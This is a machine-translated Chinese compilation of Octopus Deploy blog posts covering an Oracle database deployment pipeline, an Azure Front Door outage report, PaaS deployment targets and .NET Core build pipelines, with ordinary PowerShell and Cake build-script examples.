既然我们想要创建的表已经准备好了，是时候将表和序列定义放入源代码控制中了。为此，我使用 Redgate 的 Oracle 源代码控制。
当我们第一次启动应用程序时，我们看到一个选项，创建一个新的源代码管理项目… :
首先，您需要配置数据库连接。不要忘记测试您的连接，这样您就知道它工作正常:
数据库连接准备就绪。接下来，我们配置要使用的源代码控制系统。这个存储库将是一个 git 存储库，但是不使用内置的 git 功能。我更喜欢使用工作文件夹。这样我就可以使用我选择的 git GUI，并获得 git 的全部功能，特别是分支。一旦这个过程开始工作，下一步就是在每个开发人员的机器上安装 Oracle。使用专用实例，开发人员可以同时签入他们的源代码和数据库更改。而不是在共享服务器上进行数据库更改，然后等待代码被签入以利用该更改。
如您所见，我有一个空的工作文件夹:
我可以将该工作文件夹的目录输入到 Redgate 的 Oracle 源代码控制中:
我需要选择我想要使用的模式。我将表放在 SourceDB 模式中，因此我将选择这个模式:
最棒的是，它会显示将要创建的所有文件夹，以及将要创建这些文件夹的目录:
该工具将监控该数据库和模式的任何更改。我将保持名称不变，以免以后混淆:
有四个要签入的变更:
当我单击大箭头时，会出现一个摘要屏幕。对于那些使用过 Redgate 的 SQL 源代码控制的人来说，这应该很熟悉:
单击“保存”按钮会显示所有内容都已成功保存:
打开 Git 扩展，您可以看到已经创建的所有文件:
我将提交这些更改。现在是时候建立一个构建并将这些更改打包成一个 zip 文件供 Octopus Deploy 使用了。
设置构建服务器
在我的 TeamCity 实例中，我创建了一个简单的项目来打包数据库，将包发布到 Octopus Deploy，并在 Octopus Deploy 中创建一个新版本。首先是包数据库。对于这个构建步骤，我将打包整个 db/src 文件夹(包括任何附加的模式)。现在它只包含了 SourceDB 模式:
推销产品应该非常简单:
在 Octopus Deploy 中，我设置了一个非常简单的部署过程。此时的目标是确保所有东西都能成功打包、推送和部署。我还不太担心部署过程(这将在几分钟内完成):
回到 TeamCity，我将在我创建一个发布步骤中使用这个新项目:
现在是关键时刻，第一次运行构建。和...我搞砸了。当然，我做到了。没有什么事情第一次会完美无缺:
试了几次，但我让构建工作正常了:
问题是我在打包路径的开头放了一个/应该是 db/src，就像这样:
如果我从 Octopus 下载软件包并检查它，我可以看到所有创建的文件都在那里:
我们有构建服务器打包、发布和触发部署。现在是时候去 Octopus 并完成这个过程了。
配置目标数据库
如果您像我一样第一次设置所有东西，那么您将需要配置一个目标数据库。我使用数据库创建助手配置了一个名为 DestDB 的新数据库。该数据库的用户名也是 DestDB 。
如您所见，我没有在这个数据库上设置任何东西:
设置 Octopus 部署
如前面的截图所示，您应该在 Octopus Deploy 和 Oracle 数据库之间设置一个跳转框。这台机器需要安装 Redgate 的 Oracle Tool-belt、 SQL*Plus 和标准的 tnsnames.ora 文件。tnsnames.ora 文件需要包含您需要从这个跳转框连接到的所有主机(数据库服务器)。
由于 Redgate 的 Oracle Tool-belt 中的一个怪癖，您需要作为一个帐户而不是作为本地系统帐户运行触手；否则，您将得到错误消息，指出该工具未被激活，即使它已被激活。请按照这些说明进行设置。
我已经向社区库添加了两个新的步骤模板。 Redgate -创建 Oracle 版本和运行 Oracle SQLPlus 脚本。请下载并安装在您的 Octopus Deploy 实例上。
我整理的过程非常简单。第一步生成一个报告和一个增量脚本，在生产前和生产中，DBA 批准更改，然后对数据库运行增量脚本。
我故意让这一步只生成一个增量脚本和一个报告文件。通过包含/deploy命令行开关，可以让 Redgate 的 Oracle 工具为您完成部署。我省略了命令行开关，因为我觉得首先在过程中建立信任并让一个人批准更改是很重要的。社区图书馆是开源的。您可以随意复制并调整该步骤以满足您的需求:
在第一步中，有几个选项需要完成。我已经尽力包含尽可能多的帮助文本。如果有不清楚的地方，请发电子邮件给 support@octopus.com，让我们知道，我们会解决的。
在该步骤的最后，要求您提供源模式和目标模式。这是由于设置红门的工具。step-template 包装了命令行，并提供了模式名作为选项，因此 step 模板也必须提供它作为选项:
第二步模板将采用任何脚本，并使用 SQL*Plus 针对 Oracle 数据库运行它。这一步只需要运行脚本的路径和访问 Oracle 数据库所需的凭证。
请注意，Redgate - Create Oracle 发布步骤将在导出目录中生成一个名为 Delta.sql 的文件。我想让这个脚本尽可能通用，这就是为什么您必须提供完整的路径:
我喜欢 Oracle 工具的一点是它生成的报告显示了包中存储的脚本和目标数据库之间的差异。Redgate - Create Oracle 版本将使其成为一个工件，供您下载和查看:
此外，它还使 delta 脚本成为一个可以下载的工件:
运行首次部署
Octopus 现在已经配置完毕，可以开始第一次测试了。我只打算部署到 dev。
让我们检查一下数据库来确定一下。是的，一切都在那里。
结论
为每个环境手动编写部署脚本的日子正在迅速结束。在本文中，我们为 Oracle 数据库创建了一个完整的 CI/CD 管道。它仍然缺少一些关键特性，比如处理任何类型的初始化数据和静态数据，但是这是一个好的开始。我鼓励你采取这个基本的过程，并开始添加它。
下次再见，愉快的部署！
数据库部署自动化系列文章:
octopus.com 停电-报告和学习-八达通部署
原文：https://octopus.com/blog/outage-octopus-report-learnings-feb23
从世界协调时 2023 年 1 月 25 日星期三下午 3:37 到世界协调时 2023 年 1 月 26 日星期四下午 3:44，部分地区的客户无法访问 octopus.com/signin,博客、文档和其他网址，因为他们返回了 HTTP 404(未找到页面)响应。这主要影响了美国和欧盟，对亚洲地区也有一些间歇性的影响。
在本帖中，我们详细描述了事情的经过、我们的反应和我们的收获。
事件是如何开始的
1 月 25 日，作为 DNS 和路由提供商迁移计划的一部分，我们对octopus.com和octopusdeploy.com域名进行了定期维护。在这一步迁移中，一个 Azure 前门(AFD)配置文件中的路由设置被转移到另一个 AFD 配置文件。新的 AFD 配置文件未按预期运行。
我们发现新的 AFD 配置文件错误地路由了某些地区的请求子集，导致 HTTP 404 响应。我们在状态页面上公布了计划维护的服务中断。
我们将此视为意外事件，因为维护没有按计划进行，并且存在复杂因素:
- Azure 的网络中断
- AFD 中的内部路由问题
- 新晶片在我们的应用中产生了显著的噪声
- 这个问题发生在澳大利亚的公共假期，我们的许多工程师都在那里工作
对 AFD 配置文件的更改无法安全回滚。
按键计时
| 事件 | 期间 |
|---|---|
| 检测时间 | 10 小时 21 分钟 |
| 事件申报时间 | 13 小时 27 分 |
| 解决问题的时间 | 37 小时 44 分钟 |
事故时间表
(以下所有日期和时间均以 UTC 表示)
2023 年 1 月 25 日星期三
02:00 一名 Octopus 工程师部署了对octopus.com和octopusdeploy.com域的更改，在 Azure 前门配置文件之间移动相关路由，作为迁移项目的一部分。
02:39 工程师将 AFD WAF 从预防模式切换到检测模式，因为它阻塞了有效流量。
07:05Azure 的网络中断掩盖了这个问题——参见我们的章鱼云连接中断报告。
12:21 欧盟地区的一名应用支持工程师报告称在octopus.com域上遇到间歇性 404。
12:43 Azure 的网络中断问题得到全面解决。
14:06 报告第一个面向客户的问题。
14:06 - 15:27 应用支持工程师调查了该问题，并确定该问题是间歇性的，影响了欧盟和美国地区的客户。
15:27 状态页面更新:宣布发生事件。
15:27 - 17:06 调查显示，受影响航线的 web app 和数据库均无明显负载。新的 AFD 档案报告了对 CNAME 记录的警告。
17:06 随叫随到工程师确定问题出在 AFD，因为端点动态解析为 2 个 IP 地址，其中一个 IP 地址始终返回 404。
17:22 状态页面更新:我们正在继续调查此问题。
17:35 天蓝色支持票以“严重性:B”提出。
18:32 状态页面更新:已确定受影响地区。
20:32 事件被上报给负责 AFD 迁移项目的工程师。
20:32 - 21:42 我们调查了 AFD 中 2 个域关于 CNAME 记录的警告。
21:36 状态页面更新:内部升级。
21:42 我们与 Azure 支持代表通了电话，他们建议有关 CNAME 记录的警告可能是根本问题。
21:42 - 22:26 基于 CNAME 变平是根本原因的假设，试图采取缓解措施。
22:26 根据从受影响端点解析的 2 个 IP 地址之一的成功请求，CNAME 扁平化被排除为原因。它还成功地对以前的 AFD 概况进行了大约一年的工作。我们的工程师重点关注 AFD 剖面中的故障线路。
22:37 有 Azure 的支持票升级为“严重性:A”。
22:37 - 02:01 我们的工程师与 Azure 支持代表密切合作，为 Azure 提供足够的信息来识别和重现问题。
22:59 状态页面更新:云提供商升级。
2023 年 1 月 26 日星期四
02:01 发现了一个新的潜在根本原因，导致向原始 DNS 提供商提出支持请求。
一名 Azure 应用程序支持工程师注意到 AFD 配置文件中有大量的 404 请求，这是由于将 WAF 的模式设置为detection而不是prevention。
03:12 由于时间太长，没有明确的解决途径，事件在内部升级，以召集高级工程管理人员。
04:15 发现路线问题:重新关注 AFD 配置文件。
04:19 状态页面更新:事件状态更改为已识别。
05:42 以前的云提供商建议他们的主机解析到正确的 IP 地址，并建议请求公共解析器刷新他们的 DNS 缓存。
05:43 建议在 AFD 中使用www子域控制请求解析的潜在缓解措施。
07:06 Azure 建议 AFD 不能支持 CNAME 扁平化。
07:13 内部上报，涉及信托&安全和安保部门。
07:31 Azure 确认他们看到的唯一解决途径是将所有 DNS 记录移动到 Azure DNS。Azure 确认他们会将正确的配置同步到所有边缘节点。
08:49 我们为www.octopus.com创建了一个新的 AFD 端点，并通过现有的 DNS 提供商添加了一个来自 CNAME 的重定向。
08:53 更新应用服务接受新的原点头。
09:26 禁用从www.octopus.com到octopus.com的 app 级重定向。
10:05 更新了受影响的 SSO 服务的配置。
10:07 将根 octopus.com 改为 CNAME，并创建了一个从octopus.com到www.octopus.com的 302 重定向。
10:18 测试显示先前中断的路线再次工作。
11:07 状态页面更新:事件状态更改为Monitoring，并发布了如何解决的建议。
11:10 内部报告显示，受影响的欧盟地区从“大部分不工作”转变为“大部分工作”。
11:49 内部报告显示octopus.com还是 404ing。
12:19 确认 AFD 内部的路由问题仍在发生，尽管本应应用一个包罗万象的规则。
12:36 试图通过创建一组明确的规则来强制 AFD 路由某些 URL。
12:38 状态页面更新:事件状态改回identified。
13:23 Azure 证实他们重现了该问题，并与一个产品小组合作进行修复。
14:30 可用性测试开始报告成功。
14:53 Azure 证实一小时前应用了一个修复程序。
15:07 状态页面更新:事件状态改回监控。
15:44 状态页面更新:事件已解决。
技术细节
出现 404 是因为客户的请求被发送到了错误的 web 应用程序。这 404 个反应具有地区特异性和间歇性。找出错误路由的确切原因非常复杂。我们需要深入研究 Azure 前门(AFD)中 DNS 提供商和端点路由之间的关系。
我们观察到的
octopus.com域的特定 AFD 端点octo-public-prod-endpoint-f2e5gmecbdf3bfg9.z01.azurefd.net被动态解析为 2 个 IP 地址之一。两个 IP 地址中的一个在所有相关路由/signin、/docs和/blog上返回 404，而另一个 IP 地址工作正常。
这表明 CNAME 警告不太可能是原因，因为一些流量被成功路由。
我们发现 AFD 路由解析的 2 个 IP 地址不同于预期接收此流量的 web 应用程序的 A-B 对的 IP 地址。
发生了什么
当路由改变发生时，AFD 不更新它的所有节点，所以一些 AFD 节点仍然将流量定向到不正确的 web 应用。受影响的端点在迁移前解析到不正确的应用程序。没有对 CNAME 记录的控制，AFD 就不能权威地更新扁平化的 A 记录。
我们在 AFD 上建立了一个 CNAME 记录，让他们对该子域上的所有请求进行权威控制。受影响端点上不正确的 IP 地址解析行为仍在继续。
在 Azure 通知我们他们已经进行了内部更改后，AFD 内部的错误路由停止了。
有两个不相关的因素:
- 来自晶圆的 404 个错误
- 顶点域上的 CNAME 平坦化
在实践中，删除代理和切换到 AFD 的 WAF 与这个问题无关。然而，他们制造了巨大的噪音，掩盖了真正的问题。
类似地，在顶点域上使用 CNAME 展平使得原因不清楚。CNAME 扁平化是指 DNS 提供商为底层 IP 地址的动态解析创建一系列 A 记录，而不是单个 CNAME 记录。你可以在 Cloudflare 的这个讲解器里了解更多。
基于我们对问题的最佳理解，我们在受影响的域上创建了一个www子域。我们在这个子域上创建了一个 CNAME 记录，让 AFD 对解决该域的所有请求进行权威控制。然后，我们将流量从受影响的域重定向到适当的www子域。
这种缓解最初有所帮助，但 AFD 端点中不正确的 IP 地址解析再次出现。在 Azure 通知他们对我们的 AFD 档案进行了更改后，IP 问题得到了解决。
我们知道 Azure 将受影响的 AFD 档案“从传统平台转移到最新平台”，但在撰写本文时，我们尚未得到官方确认。
在我们了解问题之后，我们考虑回滚 AFD 配置文件的更改。我们决定不这样做，因为我们知道只有 AFD 节点的子集会更新，使一些区域处于中断状态。
后续步骤
为了帮助我们更深入地了解这一事件，我们就此问题与我们的 Azure 客户经理进行了接洽。
解决后，我们立即解决了www子域缓解的影响，特别是在 CORS、静态资产和 SEO 方面。
在我们回到稳定状态后，我们继续迁移项目。我们对项目进行了调整，使其与 Azure 紧密合作，以确保我们的更改按预期进行。在我们进行迁移的过程中，我们继续有计划的停机时间。基于我们的经验，我们可以设计回滚安全的迁移步骤。这有助于我们在出现意外行为时立即回滚，从而将计划停机的影响降至最低。
我们进行了一次事故回顾，并确定了需要改进的地方:
开发过程:我们正在审查开发过程中的质量控制，以确定在将更改应用到生产环境之前，我们可以在哪里发现问题。
长期运行事件的事件响应流程:我们以前从未经历过如此长时间的事件。我们开始找不到合适的待命工程师来管理事故。我们正在调查其他内部和外部团队如何管理这些情况，并相应地更新我们的待命名单和指南。
结论
Octopus Deploy 非常重视服务可用性。解决这一事件的时间比我们预期的要长。我们对此次停电给我们的客户带来的不便深表歉意。
PaaS 部署目标- Octopus 部署
这篇文章是我们的“用 Octopus 部署 Azure 云”博客系列的一部分。在我们的博客或我们的推特上关注它。
总结:平台即服务端点(Azure 网站等。)将被建模为 Octopus 中的部署目标。
Octopus 是一个发布管理和部署自动化工具。毫不奇怪，Octopus 中暴露的概念反映了这一点:发布、部署、环境和目标(又名机器)。
Octopus 的优势之一(我们认为)是它以一种符合人们思考和交流的方式对部署概念进行建模。部署目标被建模为存在于一个或多个环境中的一级对象。这是一种非常罕见的方法。在同一领域中的许多工具主要是构建/CI 服务器，因此它们对环境和目标/代理有不同的概念。对他们来说,“目标”通常只是部署过程中的一组配置值。
八达通目前(截至 2018 年 3 月)的部署目标类型有:
- 听力触手
- 轮询触手
- 嘘
- 离线丢弃
- 云区
除了 Cloud Region 之外，这些目标都表示到 Windows 或 Linux 机器的连接(在离线丢弃的情况下是间接的)。
PaaS
世界正在改变。越来越多的情况是，部署的目标不是一组机器，而是一个平台即服务端点，比如 Azure WebApp、AWS ElasticBeanstalk 或 Kubernetes 集群。我们有几个选择来模拟这些。我们决定从现在开始，Octopus 将把各种 PaaS 作为部署目标。
这听起来很熟悉...
那些已经使用八达通一段时间的人可能还记得，我们曾经开始走这条路。当 Octopus 3.0 发布时，我们将 Azure Web 应用和云服务建模为目标。然后我们改变了主意。
关于原因的全部细节，请阅读链接的帖子。总之，这是因为我们没有为那些希望在部署期间动态配置基础架构的人提供答案。这是一个我们深感遗憾的错误，但在许多其他方面，Azure 目标类型是非常好的。我们不会再犯同样的错误(参见下面的动态预配置)。
帕斯动物园
将支持哪些 PaaS 风格？
作为第一阶段，在我们的 5 月版本(2018.5)中，我们将添加:
- Azure Web 应用(也代表 Azure 功能)
- Azure 云服务
- 天蓝色服务织物
在接下来的几个月里，我们将增加:
毫无疑问，还会有更多。
利益
将这些 PaaS 端点建模为部署目标有很多好处。有三个特别值得一提。
1.能见度
我们喜欢能够在其环境中查看您的 PaaS 目标的想法:
【T2 
想象一下在一家新公司开始工作。能够在 Octopus 中查看基础设施页面并看到环境、其中的目标以及这些目标所拥有的角色是非常强大的。我们觉得这比不得不从各种部署过程中逆向工程这个图片要好得多。
2.多个目标
Octopus 中的角色提供了一个简单而强大的能力来执行一个跨越多个目标的步骤。目标被分配一个或多个角色。部署流程中的步骤指定它们应该在哪个角色上执行，然后该步骤将为每个匹配的目标执行一次。
不可否认，对于 PaaS 目标，这种能力不像机器那样经常需要。例如，将 web 应用程序部署到虚拟机时，必须部署到集群中的每台机器。然而，以 Azure Web 应用为例，您只需部署到 PaaS 端点，它就可以在内部扩展(这是主要优势之一)。但是...您可能在不同的地理区域有多个 Azure Web 应用。目标和角色的组合提供了一个简单的机制来部署所有这些。或者您可能有一个多租户应用程序，其中每个租户都有自己的 web 应用程序。目标+角色+租户=一种可爱的建模方式。
3.将运营置于 DevOps 中
通过将 PaaS 端点显式建模为存在于环境中的自包含目标，Octopus 拥有有价值的信息和概念，如果 PaaS 目标仅作为分散在变量和部署流程中的配置值存在，这些信息和概念就不会存在。这开启了许多可能的特性途径，我们很乐意探索。例如:
- 在环境中执行的操作过程。例如运行自定义健康检查流程或更新 HTTPS 证书。
- 目标的自定义状态\诊断页面。例如，我的 Kubernetes 集群上正在运行哪些 pod？
动态供应
如上所述，我们首先在 Octopus 的 3.0 版本中添加了 PaaS 目标，但是有一个重大的疏忽。没有办法将 Azure Web 应用作为部署流程的一部分进行动态供应，然后让当前流程使用它。
这次有。我们创建了一种机制，在这种机制下，正在执行的部署步骤可以向 Octopus 服务器返回一条消息，指示它向当前环境添加一个新目标。以这种方式创建的目标将可用于执行部署过程中的后续步骤。
我们还添加了 cmdlets，以便通过脚本轻松做到这一点。例如，请参见下面代码块中的最后一行:
# Octopus variables
$environment = $OctopusParameters['Octopus.Environment.Name']
$releaseNumber = $OctopusParameters['Octopus.Release.Number'].Replace(".", "-")
$deploymentId = $OctopusParameters['Octopus.Deployment.Id']
# A unique name based on the Octopus environment, release, and deployment
$uniqueName = "Acme-$environment-$releaseNumber-$deploymentId"
# Create resources in Azure
New-AzureRmResourceGroup -Name $uniqueName -Location "WestUS"
New-AzureRmAppServicePlan -Name $uniqueName -Location "WestUS" -ResourceGroupName $uniqueName -Tier Free
New-AzureRmWebApp -Name $uniqueName -Location "WestUS" -AppServicePlan $uniqueName -ResourceGroupName $uniqueName
# Create new target in Octopus
New-OctopusAzureWebAppTarget -Name $uniqueName -AzureWebApp $uniqueName -AzureResourceGroupName $uniqueName -OctopusAccountIdOrName "my-octopus-azure-serviceprincipal-account" -OctopusRoles "acme-web"
当然，如果您的基础设施供应是在 Octopus 之外执行的，那么您总是可以通过我们的 HTTP API 创建目标。
我们将在以后的文章中深入探讨更多细节。
定价
Octopus 许可目前基于您部署的机器数量；这是因为我们相信您部署到的机器数量是 Octopus 提供的价值的一个很好的近似值。这意味着 Octopus 到目前为止还没有对部署平台即服务应用程序收费。部署到 100 个 IaaS 虚拟机的客户必须适当地许可 Octopus，但是部署到 100 个 Azure 网站、服务结构集群或 Kubernetes 集群的客户则不需要。
历史上，PaaS 端点的部署只占 Octopus 总使用量的一小部分，所以这不是我们所担心的。但是趋势很明显，没有理由认为采用率不会继续增加。
我们最初计划引入基于计算您实际部署到的 PaaS 端点的 PaaS 目标计费(对我们来说，在部署期间计算这些端点很容易)。由于我们正在转向将 PaaS 端点建模为目标，如果我们打算这样做的话，这似乎是为他们引入计费的正确时机。
自 2018.5 起许可发生变化
以下是我们计划在 Octopus 2018.5 中进行的重要许可更改:
- 和以前一样，您现有的 Azure 步骤不会计入您的许可限制。这里什么都没变。
- Azure targets 将会像 Octopus 中的其他目标一样开始对你的许可限制做出贡献。
- 任何现有的“旧”Azure 目标都将升级到新的格式，并将开始计入您的许可限制。
- 离线掉落目标将开始影响你的许可限制，就像章鱼的其他目标一样。
如果您大量使用“旧的”Azure 目标或离线 Drop 目标，请花时间确保您的 Octopus 服务器在升级后仍然符合您的许可证。八达通将在升级过程中为您检查这一点。如果你遇到麻烦，请联系我们的支持团队寻求帮助！
移民
不会有突破性的变化。您今天配置的一切都将继续工作。
从 2018.5 版本开始，如果您希望创建新的部署 Azure Web 、部署 Azure 云服务或部署服务架构应用步骤，您将需要首先在适当的环境中配置目标。
在您创建新目标的实例之前，许可证使用计数不会改变。从本质上讲，您在 Octopus 中的现有配置将继续发挥作用，并将完全按照原来的价格定价。这些更改都是仅向前的。
如果您有任何顾虑或问题，请随时联系我们。
未来
我们对这个方向感到兴奋。我们认为这是一个自然的契合，并提供了上述提到的所有直接好处。
但这项工作也是我们计划的其他功能的关键踏脚石。我们希望更容易地动态供应和取消供应整个环境(例如，针对功能分支)，并针对环境执行操作流程。我们将在未来几个月发布更多关于这些功能的内容。
一如既往，我们欢迎您的反馈。
了解更多信息
使用构建管道和应用程序打包。NETCore - Octopus 部署
我们最近发布了对我们新的打包功能的介绍。NET 核心应用程序。网芯。在这篇文章中，我们将亲自动手，深入研究如何为. NET 核心应用程序构建一个构建管道。
不管构建机器本身是否有完整的。NET 框架或者。网芯。它们也适用于许多完整的框架场景，所以即使你没有这样做。NET Core，这里可能有你想要的东西。
在这个过程中，我们将使用不同的构建服务器和工具，多次构建管道。
在我们开始之前
这篇文章的重点是说明构建设置，所以我假设你已经熟悉了开始构建所需的一切。我使用一个 Git repo 和一个简单的 ASP.NET Web 应用程序进行说明，但是应用程序的内容和机制对整个故事并不重要。
成功的三个步骤
所以当你为一个。网芯，什么重要？对我来说，最重要的是，不要对抗工具。我在上一篇文章中提到，OctoPack 的做事方式不符合。NET 核心世界，所以我们必须改变我们的思维，以适应那个世界。
为此，在以下所有示例中，都使用了一个包含三个核心步骤的基础模式:
- 将应用程序发布到文件夹。
- 打包应用程序。
- 把包裹推到章鱼可以利用的饲料。
现在 OctoPack 也使用这三个相同的概念步骤，它只是在内部完成，所以不一定很明显。OctoPack 的问题是它有自己的发布方式，而不是遵从微软的工具，该工具是为处理您可以打包的所有较新的应用程序类型而构建的。
TeamCity
好了，事不宜迟，让我们进入第一个例子。这里先睹为快，看看我们的构建步骤完成后会是什么样子。
TeamCity 可以为你提供相当多的帮助。一旦您创建了您的项目并配置了您的 VCS 根，转到构建步骤，让 TeamCity 根据它在 repo 中看到的内容尝试创建构建步骤，它应该会为您提供步骤 1-3。
现在，让我们通过设置一个特定的输出目录来微调发布步骤，该目录便于后续步骤找到。请注意，输出目录是相对于 csproj 文件夹位置的。我喜欢在回购的根层之外使用一个文件夹，即../../。
这使我们获得了发布的应用程序内容。接下来我们包装它。
这一步是最近添加到我们的团队城市扩展中的，所以如果你看不到它，你需要更新扩展。包 ID 被声明为一个 TeamCity 变量，因为我们稍后将在 Push 步骤中再次使用它，实际值对于我们的示例并不重要。
源路径是我们在上一步中发布到的文件夹(注意，这一次它是相对于根签出文件夹的),而输出路径是我们将要放置结果包的地方。
只是重申一下，几乎所有这些字段使用的实际值都不是特别重要，只要您理解每个步骤中哪些字段需要对齐。虽然包版本通常总是会是%build.number%😃
好了，我们到了最后阶段，让我们把这个包推到章鱼可以使用的地方。此时，您有两个选择，这取决于您是希望使用 TeamCity 的提要作为 Octopus 的外部提要，还是希望使用 Octopus 的内部提要。对于前者，您只需勾选将包发布为构建工件即可。
对于后者，您添加了一个OctopusDeploy: PushPackages步骤。
这里的包路径是从在打包步骤中用作输出路径的文件夹中构建的，以及包的特定文件名。您可以使用通配符作为文件名(例如artifacts/*.nupkg)，但我们不建议这样做。如果在两次构建之间没有可靠地清理文件夹，您将最终尝试从以前的构建中推出包。
就这样，你打包了你的。NET 核心应用程序，它在 Octopus 可以使用的提要中。是时候添加一个OctopusDeploy: Create release步骤，坐下来观察部署的展开了。嗯，也许吧...😉
构建链
如果你使用 TeamCity feed 作为 Octopus 的外部 feed，那就有问题了。在我们解释细节之前，让我们看一下创建发布的步骤:
在设置这一步时，我特意做了两件事，以确保如果 TeamCity 和 Octopus 的世界没有正确对齐，事情会顺利进行。第一种方法是在 TeamCity 中将发布号留空，并在 Octopus 中配置项目设置，以使用发布版本设置中的包版本。第二个是明确地指定我们刚刚推送到提要的确切的包版本，作为发布必须使用的包版本，我们通过附加的参数来完成(是的，事后来看，这可能作为一个一级字段更好，我们可能在将来会看到这一点)。
这使我们陷入困境，如果你触发释放包可能还没有在饲料，章鱼将无法找到它。通过提供包的特定版本，如果包不可用，我们将在这里强制构建失败。如果没有这个，发布创建将默认自动选择最新的包，一切看起来都很好，直到你意识到一些你认为已经发布的补丁实际上并不存在。许多小时的挠头将接踵而至，直到你碰巧注意到软件包版本与发布版本之间的一位数差异。
那么，当你经常看到发布号被设置为%build.number%时，为什么我还把它留为空白呢？如果我忘记通过附加参数明确设置版本，那么 Octopus 中的版本将以自动选择的旧包的版本结束(我将 Octopus 中的项目设置为使用该包进行版本控制)，如果该版本已经存在，这将很难失败，或者当您查看项目概述时，这将很突出。也就是说，不正确的版本号是大而粗的，在 UI 中比版本中不正确的包版本更容易被发现。
好的，现在这些都是很好的对策，但它们只是警告我们，如果一切都出错了，我们如何确保不会出错？我们发现的最好的方法是建链。我将把如何处理构建链的大部分内容留给您作为家庭作业，但这里是我在演示项目中用于“发布”构建配置的设置。
该构建配置依赖于“构建”构建配置，并在成功时被触发。这个构建的版本号也被直接设置为它的依赖项中的构建号，直到它的依赖项完成，并且产生的工件被发布和索引后，它才会开始。
VSTS
好了，第二回合开始了。我在这个设置中使用了相同的源代码，所以它实际上是相同的应用程序。设置中唯一真正的不同是我决定为我创建的包使用不同的 ID，只是为了确保当我将包推送到我的 Octopus 服务器时不会出现版本冲突。
像以前一样，这里的管道先睹为快，然后我们将深入细节。
我已经提过几次了。NET 工具知道做这些事情的正确方法。在上面的管道中，我所做的就是请求一个新的管道并选择。列表中的. NET 核心模板。它创建了前五个步骤，第五个是我禁用的步骤。为了再次演示这个模式，我禁用了这个步骤，而不是删除它。默认情况下，VSTS 希望您发布到一个文件夹，然后以此为基础将内容移动到部署的目标，就像我们一直在谈论的那样。我们在这里所做的就是用来自 Octopus VSTS 扩展的打包和推送步骤替换发布工件步骤，打包文件夹内容并将包推送到 Octopus，就像我们在 TeamCity 示例中看到的那样。
下面是发布步骤中的内容。这一步我什么都没改；我在这里展示它是因为它使用的输出文件夹对于下一步中的源路径很重要。
一旦我们得到了输出文件夹，那么是时候设置打包步骤了。
我禁用的发布工件步骤使用一个名为drop的文件夹作为输出，所以为了简单起见，我也这样做了。
这就进入了最后一步，将包裹推给 Octopus。Octopus URL 和 API 键由 VSTS 的服务连接负责，您可以从步骤的下拉列表中选择。
唯一需要注意的另一点是$(Build.BuildNumber)。这是一个内置变量，但是您可以控制它的格式(使用左上角附近的Options选项卡)。在这个演示中，我已经将默认设置改为1.0.0$(rev:.r)。默认方案有效，但我倾向于谨慎使用。它创建基于当前日期的 SemVer 版本，这并不真正符合 SemVer 的精神。你每天都做突破性的改变吗？没关系，你不需要回答😉另一个问题是，如果你决定退出这个计划，现有的主要数字将会非常大，所以几乎任何其他计划都会产生比现有版本更老的版本。
蛋糕脚本
叮，叮，第三回合！在前面的例子中，我们使用了围绕将构建过程定义为工具本身中的一系列步骤而构建的工具。如果我们想变得更加工具不可知呢？如果我们希望能够在我们的开发机器上本地运行构建来测试它呢？蛋糕对于这两种情况都是一个很好的选择。同样，让我们从看一个示例脚本开始:
#tool "nuget:?package=GitVersion.CommandLine&prerelease"
#tool "nuget:?package=OctopusTools"
using Path = System.IO.Path;
using IO = System.IO;
using Cake.Common.Tools;
var target = Argument("target", "Default");
var configuration = Argument("configuration", "Release");
var octopusServer = Argument("octopusServer", "");
var octopusApikey = Argument("octopusApiKey", "");
var isLocalBuild = string.IsNullOrWhiteSpace(octopusServer);
var packageId = "CakeDemoAspNetCoreApp";
var publishDir = "./publish";
var artifactsDir = "./artifacts";
var localPackagesDir = "../LocalPackages";
var gitVersionInfo = GitVersion(new GitVersionSettings {
OutputType = GitVersionOutput.Json
});
var nugetVersion = gitVersionInfo.NuGetVersion;
Setup(context =>
{
if(BuildSystem.IsRunningOnTeamCity)
BuildSystem.TeamCity.SetBuildNumber(gitVersionInfo.NuGetVersion);
Information("Building v{0}", nugetVersion);
});
Teardown(context =>
{
Information("Finished running tasks.");
});
Task("__Default")
.IsDependentOn("__Clean")
.IsDependentOn("__Restore")
.IsDependentOn("__Build")
.IsDependentOn("__Publish")
.IsDependentOn("__Pack")
.IsDependentOn("__Push");
Task("__Clean")
.Does(() =>
{
CleanDirectory(artifactsDir);
CleanDirectory(publishDir);
CleanDirectories("./source/**/bin");
CleanDirectories("./source/**/obj");
});
Task("__Restore")
.Does(() => DotNetCoreRestore("source", new DotNetCoreRestoreSettings
{
ArgumentCustomization = args => args.Append($"/p:Version={nugetVersion}")
})
);
Task("__Build")
.Does(() =>
{
DotNetCoreBuild("source", new DotNetCoreBuildSettings
{
Configuration = configuration,
ArgumentCustomization = args => args.Append($"/p:Version={nugetVersion}")
});
});
Task("__Publish")
.Does(() =>
{
DotNetCorePublish("source", new DotNetCorePublishSettings
{
Framework = "netcoreapp2.0",
Configuration = configuration,
OutputDirectory = publishDir,
ArgumentCustomization = args => args.Append($"--no-build")
});
});
Task("__Pack")
.Does(() => {
OctoPack(packageId, new OctopusPackSettings{
BasePath = publishDir,
Version=nugetVersion,
OutFolder=artifactsDir
});
});
Task("__Push")
.Does(() => {
var packageFile = $"{artifactsDir}\\{packageId}.{nugetVersion}.nupkg";
if (!isLocalBuild)
{
OctoPush(octopusServer, octopusApiKey, new FilePath(packageFile), new OctopusPushSettings());
}
else
{
CreateDirectory(localPackagesDir);
CopyFileToDirectory(packageFile, localPackagesDir);
}
});
Task("Default")
.IsDependentOn("__Default");
RunTarget(target);
我不打算一行一行地浏览这个脚本。希望通过通读可以清楚地看到，它完全遵循了我们在其他示例中使用的相同流程。我要介绍的是脚本显示如何处理的几个问题，以及我们在 Octopus 中使用的一个模式，我发现这个模式非常有用。
我先说模式。你会看到靠近顶部有一个名为 isLocalBuild 的变量正在被计算，然后在 __Push 任务中，我们使用它在实际执行octo push和通过将文件复制到本地文件夹来模拟推送之间进行切换。这样做让我们做两件事。首先，我们可以在测试时重复运行脚本，而不必担心强制覆盖包等。第二点也是更重要的一点是，它让我们可以构建包的本地版本，然后无需等待构建服务器就可以使用和测试这些包。这通常在构建库包时比应用程序包更有用，但是我在这里包含它是因为我们发现它真的很有用，我想分享它😃
